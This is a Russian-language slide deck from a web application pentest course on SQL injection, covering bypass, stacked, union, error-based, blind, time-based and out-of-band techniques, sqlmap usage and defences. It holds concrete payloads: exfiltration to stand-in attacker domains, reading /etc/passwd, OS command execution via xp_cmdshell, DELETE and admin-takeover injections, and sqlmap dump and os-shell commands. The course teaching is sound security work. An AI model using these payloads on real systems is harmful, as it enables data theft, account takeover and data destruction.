---
# System prepended metadata

title: Web App Pentest - 0x4-0x5 SQL Injection
tags: [CSR - Web App Pentest]

---

---
title: Web App Pentest - 0x04-0x05 SQL Injection
tags: CSR - Web App Pentest
slideOptions:
  transition: 'fade'
  parallaxBackgroundImage: 'https://i.imgur.com/YClZ1aY.jpg'
---

<style>
.reveal {
  font-size: 36px;
}
</style>


# Web App Pentest 

##  4-5 SQL Injection

---

Вопросы по заданиям?

---

## Темы занятия

1. Часть
* Краткий обзор SQL
* Описание уязвимости SQL injection
* Вектора эксплуатации: bypass, union-based
* Обзор имеющихся информационных ресурсов по уязвимости SQL injection

2. Часть
* Вектора эксплуатации уязвимости SQL injection: error-based, boolean-blind, time-based.
* Использование sqlmap для автоматической эксплуатации уязвимостей SQL injection
* Инъекции в UPDATE и INSERT
* Рекомендации для разработчиков для исключения уязвимости SQL injection

---

## 5 минут Burp Suite

### Техника: Поиск фильтруемых символов

- Intruder
- URL кодирование
- Payload Type: Brute Forcer

---

![](https://i.imgur.com/CnIv9vY.png)

![](https://i.imgur.com/T14n7Fm.png)


---

## 5 минут Burp Suite

### Техника: Поиск фильтруемых символов

Мы отправили все 256 символов, можно посмотреть как веб-приложение на них реагирует, понять какие фильтруются, а какие нет.

<!--
---

## Еще раз о параметрах

```php
$_GET['test'] - только из query
$_POST['test'] - только из body
$_REQUEST['test'] - и то и другое
```
-->

---

## SQL

SQL - Structured Query Language

Позволяет делать запросы к реляционным базам данным. 

Существует множество систем управления базами данных, в каждой из них используется свой диалект SQL:
- MySQL
- SQLite
- Oracle
- MSSql
- PostgreSQL

---

## SQL

Данные в реляционных БД храняться в таблицах

| Id | Name | Password |
| -------- | -------- | -------- |
| 1     | admin     | 123123     |
| 2     | user     | jf#8EfjsiLEiws- |     |
| 3     | guest     |  |     |

---

## SQL

```sql=
SELECT name,password
FROM users
WHERE id=1 OR substr(name,1,1)='g'
ORDER BY id
LIMIT 2
```

| Name  | Password        |
| ----- | --------------- |
| admin | 123123          |
| guest |                 |

---

## SQL - подзапросы

```sql=
SELECT name,password
FROM users
where id=(select id from admin_users where name='admin')
```

В данном случае подзапрос должен возвращать одну строку, иначе будет ошибка.

---

## Run SQL online

https://www.jdoodle.com/execute-sql-online - SQLite
http://sqlfiddle.com - все 5
http://rextester.com/l/sql_server - MSSQL, PostgreSQL, MySQL, Oracle
https://sqliteonline.com/ - PostgreSQL, SQLite, MariaDB (MySQL), MSSQL

---

## SQL

https://www.w3schools.com/sql/default.asp - tutorial
http://sql-ex.ru/ - сайт с упражнениями для SQL

---

## SQL injection

---

## OWASP A03:2021-Injection

Уязвимости к инъекциям, таким как инъекции SQL, NoSQL, Command и LDAP, возникают, когда ненадежные данные отправляются интерпретатору как часть команды или запроса. Внедренные данные злоумышленника могут заставить интерпретатор выполнить непреднамеренные команды или дать возможность получить доступ к данным без надлежащей авторизации.

---

## SQL Injection

Уязвимость, при которой контролируемые атакующим данные внедряются в формируемый SQL-запрос. В результате внедрения атакующий может нарушить логику работы запроса и/или заставить СУБД выполнить полезные для атакующего действия.

---

## SQL Injection

```php
$query  = "SELECT username, email, phone FROM users
           WHERE username = '" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```

---

## SQL Injection

```php
$query  = "SELECT username, email, phone FROM users
           WHERE username ='" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```

`http://vuln.example.com/?username=John33' or '1'='1`

---

## SQL Injection

```php
$query  = "SELECT username, email, phone FROM users
           WHERE username ='" . $_REQUEST['username'] . "'";
$result = mysql_query($conn, $query);
```

`http://vuln.example.com/?username=John33' or '1'='1`

```php=
echo $query;
SELECT username, email, phone FROM users 
      WHERE username='John33' or '1'='1'
```

---

## SQL Injection

Пример:

bWAPP - SQL Injection (Login Form/Hero).

---


## Упражнение

Root me:
SQL injection - Authentication

---

## SQL Injection

Possible impact:
* Чтение информации из доступных баз данных
* Получение информации о сервере, текущем пользователе, настройках
* Получение информации из файловой системы
* Возможность модификации информации в базе данных
* Возможность записи в файлы
* Возможность выполнения произвольного кода

---

## SQL Injection - cheatsheets

Pentest Monkey:
http://pentestmonkey.net/category/cheat-sheet/sql-injection

Payloads all the things:
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/

NetSPI SQL Injection Wiki
https://sqlwiki.netspi.com/

Invicti cheat sheet
https://www.invicti.com/blog/web-security/sql-injection-cheat-sheet/

---

## SQL Injection

### Техники атак

---

## Техники SQL Injection

![](https://www.researchgate.net/publication/292997018/figure/fig1/AS:694192334450690@1542519758561/SQL-Injection-Categories-and-Types-proached-through-various-techniques-which-are-broadly.jpg)


* Bypassing
* Stacked queries
* Union-based
* Error-based
* Out of band
* Boolean blind
* Time-based (double blind)

---

## Bypass

Bypass инъекции, это когда модифицируется запрос с целью обойти какое-то логическое ограничение 

```php
$sql = "SELECT username FROM users WHERE username='".POST['login']." AND password='".md5(POST[‘password’])."'";
```

login=admin' or '1'='1&password=kekpekpohek
login=admin' -- &password=kekpekpohek

---

## Stacked queries

`productid=1; DELETE FROM products`
```sql=
SELECT * FROM products WHERE productid=1; DELETE FROM products
```

Позволяет делать любые запросы к БД (INSERT в пользователей с правами admin, UPDATE своего счета до миллиарда и т.д.)
В том числе вызывать хранимые процедуры, системные функции и т.д.


![](https://hackmd.io/_uploads/r1z_Yt2An.png)



![](https://i.imgur.com/jkHtdJU.png)




---

## Stacked queries

`productid=1; DELETE FROM products`
```sql=
SELECT * FROM products WHERE productid=1; DELETE FROM products
```

Еще раз - очень опасная вещь. Если вы нашли SQL-injection обязательно проверьте, можно ли поставить `;`  и выполнить второй запрос.

---

## Union based

UNION - оператор SQL, позволяющий объединить результаты двух запросов

```SQL
SELECT name,password from users UNION SELECT name,password from system_users
```

---

## Union based

UNION - оператор SQL, позволяющий объединить результаты двух запросов

```SQL
SELECT name,password from users UNION SELECT name,password from system_users
SELECT name,password from users UNION SELECT '123','234'
```

---

## Union based

UNION - оператор SQL, позволяющий объединить результаты двух запросов

```SQL
SELECT name,password from users UNION SELECT name,password from system_users
SELECT name,password from users UNION SELECT '123','234'
SELECT name,password from users UNION SELECT title,body from posts
```

---

## Union based

Если результат SQL-запроса выводится в HTTP-ответ, то можно проводить Union-based SQL-инъекции.
Идея в том, чтобы добавить в запрос еще один запрос и вывести ответ на экран.

```php
$sql = "SELECT first_name, second_name, city FROM users WHERE id=$id";
```

```/users.php?id=1 UNION ALL SELECT login,password,'1' FROM users```

---

## Union based

Определение количества столбцов в запросе

-ORDER BY (GROUP BY). ORDER BY может принимать на вход номер колонки, по которой надо сортировать ответ. Если передать номер, больший чем колонок - возникнет ошибка.
* ?id=2 ORDER BY 4
* ?id=2 GROUP BY 4

Поэтому просто перебираем целые по возрастанию, пока не возникнет ошибка. Максимальное число на котором нет ошибки - количество столбцов.

<Пример в онлайн SQL>

---

## Union based

/users.php?id=1 UNION ALL SELECT login,password,’1’ FROM admins

Что надо учитывать:

1) Лучше добавлять ALL - если его не добавить, то SQL удалит дубли, и мы можем долго думать куда пропала часть данных
2) Если страница выводит только определенное количество ответов (например, один),  нужно в изначальном запросе использовать такие данные чтобы ничего не вернулось
`name=fefefe' and 1=0 UNION SELECT ....`

---

## Union based

SQL Injection (GET/Search)
SQL Injection (GET/Select)

---

## SQLite

Информацию о схеме в SQLite можно получить:
`SELECT sql from sqlite_master`

---

## Union-based - техника

1. Находим инъекцию
2. Определяем сколько колонок в левой части запроса (с помощью order by)
3. делаем union с константами, проверяем что все работает
4. Находим имена таблиц
5. Находим имена колонок
6. Достаем информацию из интересующих нас таблиц



---

## Упражнения

root.me SQL injection - String
root.me SQL injection - Numeric

---

## Отступление

#### О поиске инъекций и сборе информации из базы

---

## В каких запросах могут быть инъекции

В любых!

* SELECT - самый распространенный
* INSERT
* UPDATE
* DELETE

Обычно из семантики запроса можно понять что за запрос делается.

---

## Место инъекции

![](https://i.imgur.com/WpuGjkR.png)

---

## Место инъекции

![](https://i.imgur.com/LKRrrpI.png)

В большинстве случаев


---

## Место инъекции

![](https://i.imgur.com/wF7QCHO.png)

Иногда в этих

---

## Нужна ли кавычка

Два типа:

```sql
SELECT * FROM users where password = '<input>'
SELECT * FROM users where id=<input>
```

Второй способ используется для числовых значений.

Если в процессе анализа видим, что нормальное значение поля - число, то проверять надо оба варианта

---

## Как проверить что есть инъекция

Попробовать поставить кавычку `'`, возможно приложение выдаст информацию об ошибке

---

## Как проверить что есть инъекция

Для числовых полей:

Мы знаем что сервис по разному отвечает на `?id=10` и `?id=11`. Тогда делаем `?id=11-1` и смотрим что получится. 

---

## Как проверить что есть инъекция

Для "кавычковых" полей:

Сделать запрос, который не нарушает логику работы.
Рекомендуется:
`id` = `5555' AND '1'='1`

Если ответ тот же что и на странице id=5555, при этом ответ на id=5555'<random_data> - не такой, то инъекция вероятно есть

---

## Как проверить что есть инъекция

Мы также можем использовать payload, которые приводят к задержке или DNS-запросу.

https://github.com/sorokinpf/cth_wordlists/tree/master/SQL%20injection

---

## Комментарии в SQL

Зависят от диалекта

<пробел>--<пробел> - комментирует оставшуюся часть строки.

Может не работать в случае многострочных запросов
```sql
SELECT * from USERS
WHERE username='<login>'
AND password='<hash(password)>'
```

`login`=`admin' -- ` - в данном случае не сработает, т.к. последняя строка все еще будет работать.


---

## Комментарии в SQL

В некоторых диалектах есть многострочный комменарий /*

---

## Что нас интересует в БД

1) Системная информация
2) Имена таблиц
3) Имена колонок
4) Данные
5) Доступ к локальным файлам
6) Выполнение команд ОС

---

## Системная информация

* Версия
* Имя пользователя
* Имя хоста

<Пример>

---

## Таблицы и колонки

См. cheatsheet

Например для MySQL:

```SELECT table_name from information_schema.tables```

```SELECT column_name from information_schema.columns where table_name='table'```

---

## Определение СУБД

![](https://i.imgur.com/YnyWmYS.png)

---


# NEXT DAY

---

## Вернемся к техникам атак

---

## Error based

Возникает когда веб-приложение отображает ошибку SQL.

 | СУБД   | Вектор                                                                                                                                   |
 | ------ | ---------------------------------------------------------------------------------------------------------------------------------------- |
 | MySQL  | select 1,2 union select count(*),concat((select content from docs limit 1),floor(rand(0)*2))x from information_schema.tables group by x; |
 | MySQL2 | SELECT EXTRACTVALUE(1,CONCAT(0x30,0x327a6b70,@@version)) |
 | MSSQL  | SELECT CAST((select name from PurchaseOrderDetail) as int);                                                                              |
 
---

```
```

---

 
 ## Error based
 
 Возникает когда веб-приложение отображает ошибку SQL.
 
| СУБД | Вектор |
| ---------- | -------------------------------------------------------------------------------- |
| Oracle | (utl_inaddr.get_host_address((select user from DUAL))) |
| PostrgeSQL | SELECT CAST((SELECT kind from films limit 1) as integer); |
| DB2 | select TO_CHAR((select 'fefwefwef' from sysibm.sysdummy1)) from sysibm.sysdummy1 |


---

## Error based

Пример

---

## Boolean blind

## (Boolean based)

---

## Boolean blind

Если напрямую не выводятся ни данные, ни ошибка, но мы можем понять является ли ответ на запрос TRUE или FALSE

Первая задача найти два запроса, в одном из которых есть константное выражение TRUE, в другом FALSE, которые дают разный результат

Например:
`?id=12 AND 1=0`
`?id=12 AND IF((SELECT 1)=1,TRUE,FALSE)`
`?id=12 - IF((SELECT 1)=1,2,3)`

---

## Boolean Blind

Отправляя поочередно множество "вопросов" в БД можно получить произвольную информацию.

---

## Boolean Blind

<Пример>

---


## Boolean Blind

Для эксплуатации нам нужно уметь делать следующие 4 действия:

* Определять количество строк в ответе
* Выбирать конкретный объект из всей выборки
* Определять количество символов в строке
* Определять конкретный символ конкретной строки

---

## Boolean Blind

Условные операторы

* `IF` - только в MySQL
* `CASE ... WHEN ... THEN ... ELSE ... END` - в большинтве СУБД

---

## Boolean Blind

Условные операторы

Часто можно его не использовать:

`?id=12 AND (SELECT count(*) FROM information_schema.tables)>50`

---

## Boolean Blind

Выбираем конкретную строку из ответа:

`limit 1,2` - MySQL,SQLite
`limit 1 offset 0` - Postgres
`OFFSET 3 ROWS FETCH NEXT 1 ROWS ONLY` - MSSQL и Oracle (новые версии)


---

## Boolean Blind

Получаем длину строки: 
* `len(name)` - mysql
* `length(name)` - остальные

---

## Boolean Blind

Выбираем 1 символ: 
* `substr(name,1,1)` - MySQL, SQLite, Oracle
* `substring(name,1,1)` - MSSQL, Postgres

---

## Boolean Blind

#### Бинарный поиск

Позволяет определить значение 1 байта за 8 запросов

![](https://i.imgur.com/DYGJbmM.png)

---

## Boolean Blind

Приведение символа к числу:
* `unicode(substr(name,1,1))` - SQLite
* `ASCII(substr(name,1,1))` - всех остальных

---

## Out of Band

---

## Out of Band

Идея - заставить БД сделать DNS/HTTP запрос, похищаемые данные подставить в поддомен/строку запроса.

---

## Out of Band

### MSSQL

```sql
select * from fn_trace_gettable('\\'+(select 'abc')+'domain.hacker.com\1.trc',default)
```

Также можно использовать `fn_xe_file_target_read_file`, `fn_get_audit_file`


---

## Out of Band

### Oracle

```sql
SELECT UTL_HTTP.REQUEST(concat('http://',(select ...),'.attacker.domain.com')
```

---

## Time based

## (Double blind)

---

## Time based

Если веб-приложение не выводит никакой информации из выполненного запроса, то мы можем вызывать SQL функцию задержки при определенном условии.
Измеряя время ответа веб-приложения можно получить 1 бит информации за 1 запрос. Сводится к Blind.

Пример: `SELECT IF(1=1,SLEEP(10),1)`

---

## Summary по техникам

<!-- .slide: style="font-size: 20px;" -->

| Техника         | Что получаем                       | Приоритет    | Комментарий      |
| --------------- | ---------------------------------- | --- | ---------------- |
| Bypass          | Обход логической проверки          | -    |                  |
| Stacked Queries | Выполнение произвольных запросов   | -    | Наивысший impact |
| Union Based     | Любой объем информации за 1 запрос | 1    |                  |
| Error Based                |  N (32-256) байт за 1 запрос                                   | 2     | Зависит от реализации                  |
| Out of Band                | N (до 256) байт за 1 запрос                                  | 3    | Неудобна в эксплуатации, требует автоматизации                 |
| Boolean Blind                | 1 бит за запрос                                   |  3   |                  |
| Time-Based                |  1 бит за запрос                                  | 4    | Очень медленно                 |

---

## Привелигированные атаки

---

## Чтение файлов

Требует привилегированного пользователя

MySQL: `SELECT LOAD_FILE(‘/etc/passwd’)`

см. cheatsheet.

<пример>

---

## Запись файлов

MySQL:

```sql
SELECT * from users INTO OUTFILE '/tmp/123.txt'
```
см. cheatsheet.

<пример - заливка шелла в /app/images>

---

## Выполнение команд

MSSQL:

```sql
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
```

---

## Выполнение команд

PostgreSQL:

```sql=
CREATE TABLE commands_results (
id SERIAL PRIMARY KEY,
output TEXT
);

COPY commands_results (output) FROM PROGRAM 'whoami';
```

---

## sqlmap

---

## sqlmap

Автоматический сканер SQL-инъекций и помощник в их эксплуатации

https://github.com/sqlmapproject/sqlmap 

`apt-get install sqlmap`
`brew install sqlmap`

---

## sqlmap

Есть две фазы работы:

* Обнаружение
* Эксплуатация

---

## sqlmap - Обнаружение - базовый пример

```sqlmap -u "http://ttesting.ru:8088/sqli_1.php?title=a&action=search"```

<демонстрация>

---

## sqlmap - Обнаружение

Передача запроса целиком:

`sqlmap -r request.txt`

request.txt можно взять прямо с BURP

---

## sqlmap - Обнаружение

Если мы хотим, чтобы sqlmap вставлял пэйлоады в определенное место, используем символ *

Пример:
`sqlmap -u "http://localhost/sqli_1.php?title=*&action=search"`

Аналогично внутри файла, передаваемого в -r. 

---

## sqlmap - Обнаружение

Если мы хотим, чтобы sqlmap искал только определенные техники эксплуатации

--technique

* B=boolean
* E=error
* U=union
* S=staked
* T=time-based

---

## sqlmap - Обнаружение

Часто бывает так что sqlmap не находит нормальную технику, но вы её уже нашли, она точно есть.

Тогда можно попробовать следующее:
* Добавить кавычки и прочую обвязку в запрос, так чтобы sqlmap вместо звездочки нужно было поставить очень простой запрос.
* Наоборот убрать все, оставить в запросе одну только звездочку.

---

## sqlmap - Обнаружение

--level - чем выше, тем больше векторов проверяет sqlmap, увеличивает длительность, диапазон значений 1-5

> By default sqlmap tests all GET parameters and POST parameters. When the value of --level is >= 2 it tests also HTTP Cookie header values. When this value is >= 3 it tests also HTTP User-Agent and HTTP Referer header value for SQL injections


--risk - чем выше, тем опасней вектора будет пробовать sqlmap. Может привести к удалению информации. Диапазон значений 1-3, лучше оставлять 1.
>The default value is 1 which is innocuous for the majority of SQL injection points. Risk value 2 adds to the default level the tests for heavy query time-based SQL injections and value 3 adds also OR-based SQL injection tests.
---

## sqlmap - Эксплуатация

Достаем данные.

1) листим базы данных
`sqlmap ... --dbs`
2) листим таблицы
`sqlmap -D bWAPP --tables`
3) листим колонки
`sqlmap -D bWAPP -T heroes --columns`
4) дампим таблицу
`sqlmap -D bWAPP -T heroes --dump`

---

## sqlmap - Эксплуатация

sql shell позволяет выполнять запросы SQL.

`sqlmap ... --sql-shell`

---

## sqlmap - Эксплуатация

OS shell позволяет автоматически выполнить команды ОС

`sqlmap ... --os-shell`

---

## sqlmap - Эксплуатация

--threads - количество потоков

Особенно важно при эксплуатации blind, т.к. сильно ускоряет процесс.

---

## sqlmap - Кэширование

`sqlmap` кэширует уже вытащенную информацию, чтобы не повторять запросы. Иногда нам надо сбросить кэш.

В таком случае нужно удалить директорию <демонстрация>.

---

## sqlmap - упражнение root-me

---

## sqli_blinder

https://github.com/sorokinpf/sqli_blinder

Позволяет эксплуатировать blind injections если sqlmap их не находит, или по другой причине не справляется.

Нужно реализовать 1 функцию на Python.

---

## Обходы фильтров

---

## Не хватает символа в строке

Нужен символ 'a' в строке. Решение: 

Используем функцию chr
`chr(96)||'bc'`

---

# Не хватает одинарной кавычки

MySQL: 
`SELECT * FROM users where login=0x313233`

Postgres:
`select * from demo where hint=$$300$$`

---

## INSERT SQL Injections

---

## INSERT SQL Injections

Позволяет добавлять дополнительные записи в целевую таблицу с произвольным содержимым.

---

## INSERT SQL Injections

`#users -> (id,is_admin,name,password)`

```php=
$sql = "INSERT INTO users VALUES (0,0,'$username','md5($password)' )"
```

`?name=','fefef'),(0,1,'new_admin&password=123123`

Добавит нового пользователя с правами admin’a

---

## INSERT SQL Injections

`#posts -> (id,title,body)`

```php=
$sql = "INSERT INTO posts VALUES (0,'$title','$body')""
```

`?body='),(1,(SELECT @@version),'other`

Добавит результат subquery в запись. Потом этот результат может быть считан.

---

## INSERT SQL Injections

`#users -> (id UNIQUE,is_admin,name UNIQUE,password)`

```php=
$sql = "INSERT INTO users VALUES (0,0,'$username','md5($password)' )"
```

`?name=admin','fefef') ON CONFLICT (name) DO UPDATE SET password='new_pass' -- `

Изменит пароль администратору

Еще есть `ON DUPLICATE KEY`.


---

## UPDATE SQL Injections

---

## UPDATE SQL Injections

UPDATE users SET email='<span style="color:red"><input></span>' WHERE id='<span style="color:green"><input></span>'

---

## UPDATE SQL Injections

```sql
UPDATE users SET email='<input>' WHERE id='2'
```

Тут можно изменять другие поля как этой так и других записей:
1) `email=',is_admin='1`
```sql
UPDATE users SET email='',is_admin='1' WHERE id='2'
```

2) `email=',password='123' where username='admin' -- `
```sql
UPDATE users SET email='',password='123' where username='admin' -- ' WHERE id='2'
```

---

## UPDATE SQL Injections

```sql
UPDATE users SET email='<input>' WHERE id='2'
```

Также можно получить данные:
3) `email=',about=(SELECT @@version) where username='my_user' --`` 

```sql
UPDATE users SET email='',about=(SELECT @@version) where username='my_user' -- ' WHERE id='2'
```


---

## UPDATE SQL Injections

```sql
UPDATE users SET email='xxx@yyy.ru' WHERE id='<input>'
```

1) Тут можно изменить указанные в запросе поля другому пользователю
`email=our@mail.ru&id=testfefefefe' or username='admin`



---

## UPDATE SQL Injections

```sql
UPDATE users SET email='xxx@yyy.ru' WHERE id='<input>'
```

Также можно провести блайнд атаку на получение данных

`email=xxx@zzz.ru&id=1' and (select count(*) from users)>10 -- `
Если почта изменилась, значит пользователей больше 10.

---

## Защита от SQL injection

---

## Защита от SQL injection

- Валидация
- Безопасное обращение к SQL

---

## Защита от SQL injection

* Санитизация (экранирование опасных символов) - <span style="color:red">НЕ РЕКОМЕНДУЕТСЯ</span>
* Prepared statements
* ORM

---

## Защита от SQL injection

Санитизация

```php=
<?php
$link = mysql_connect('mysql_host', 'mysql_user', 'mysql_password')
    OR die(mysql_error());

$query = sprintf("SELECT * FROM users WHERE user='%s' AND password='%s'",
            mysql_real_escape_string($user),
            mysql_real_escape_string($password));
?>
```

---

## Защита от SQL injection

Prepared Statements

```php=
$stmt = $dbh->prepare("SELECT * FROM REGISTRY where name = ?");
if ($stmt->execute(array($_GET['name']))) {
  while ($row = $stmt->fetch()) {
    print_r($row);
  }
}
```

---

## Защита от SQL injection

ORM

```php=
Model\User::where('active', 1)
          ->where('username', $_GET['username'])
          ->orberBy('username')
          ->get();

```

---

## ORM injections

ORM зачастую безсильны при передаче пользовательского ввода в качестве:
- имен таблиц
- имен колонок
- order by/group by
- etc.

Создавайте для таких случаев белые списки.

---

## ORM injections

[RubyOnRails injections](https://rails-sqli.org/)
[Doctrine injections](https://www.doctrine-project.org/projects/doctrine-orm/en/latest/reference/security.html#user-input-and-doctrine-orm)
[Эксплуатация инъекций в Hibernate ORM](https://habr.com/ru/company/parallels/blog/272589/)
[Eloquent Raw methods](https://www.stackhawk.com/blog/sql-injection-prevention-laravel/)
[Terrasoft](https://medium.com/@sorokinpf/bpmonline-sql-injection-607916447e30)

---

## Защита от SQL injection

- Выберите единообразный подход к защите от SQL injection в своем проекте и придерживайтесь его во всем коде
- Изучите особенности выбранного решения
    - убедитесь что stacked queries не работают.
    - поищите статьи об инъекциях в ваш ORM.
    - проверьте возможность инъекции в order by/group by/etc.

---
